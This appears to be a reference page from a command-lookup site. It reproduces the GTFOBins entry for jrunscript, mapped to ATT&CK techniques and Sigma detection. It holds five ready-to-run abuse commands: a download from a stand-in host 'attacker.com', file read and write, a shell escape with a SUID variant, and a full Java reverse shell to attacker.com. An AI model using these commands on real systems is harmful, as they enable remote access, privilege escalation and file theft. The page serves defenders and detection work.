CmdID

CmdID / Programs / Linux and Unix

jrunscript

GTFOBins download, file-read, file-write, reverse-shell, shell 2 ATT&CK techniques 5 documented commands

Opens CmdID with your command. It is read in your browser and sent nowhere.

How jrunscript is abused

documented by GTFOBins

download T1105 Ingress Tool Transfer

-e

file-read

-e

file-write

-e

reverse-shell T1059.004 Command and Scripting Interpreter: Unix Shell

-e

shell T1059.004 Command and Scripting Interpreter: Unix Shell

-e
-c

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for jrunscript.

5 documented commands

from GTFOBins, each read by CmdID

download unprivileged, with sudo

jrunscript -e 'cp("http://attacker.com/path/to/input-file","/path/to/output-file")'
Identify

file-read unprivileged, with sudo

jrunscript -e 'br = new BufferedReader(new java.io.FileReader("/path/to/input-file"));
    while ((line = br.readLine()) != null) { print(line); }'
Identify

file-write unprivileged, with sudo

jrunscript -e 'var fw=new java.io.FileWriter("/path/to/output-file");
    fw.write("DATA");
    fw.close();'
Identify

reverse-shell unprivileged, with sudo

jrunscript -e 'var host="attacker.com";
    var port=12345;
    var p=new java.lang.ProcessBuilder("/bin/sh", "-i").redirectErrorStream(true).start();
    var s=new java.net.Socket(host,port);
    var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
    var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){
    while(pi.available()>0)so.write(pi.read());
    while(pe.available()>0)so.write(pe.read());
    while(si.available()>0)po.write(si.read());
    so.flush();po.flush();
    java.lang.Thread.sleep(50);
    try {p.exitValue();break;}catch (e){}};p.destroy();s.close();'
Identify

shell unprivileged, with sudo, as SUID

jrunscript -e 'exec("/bin/sh -c $@|sh _ echo sh </dev/tty >/dev/tty 2>/dev/tty")'
Identify

As SUID:

jrunscript -e 'exec("/bin/sh -pc $@|sh${IFS}-p _ echo sh -p </dev/tty >/dev/tty 2>/dev/tty")'

None of the 5 commands CmdID reads trips a Sigma process-creation rule. These commands are from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for jrunscript. CmdID reads the line of each that runs jrunscript.

What detects it

Sigma process creation rules
T1059.004Command and Scripting Interpreter: Unix Shell
T1105Ingress Tool Transfer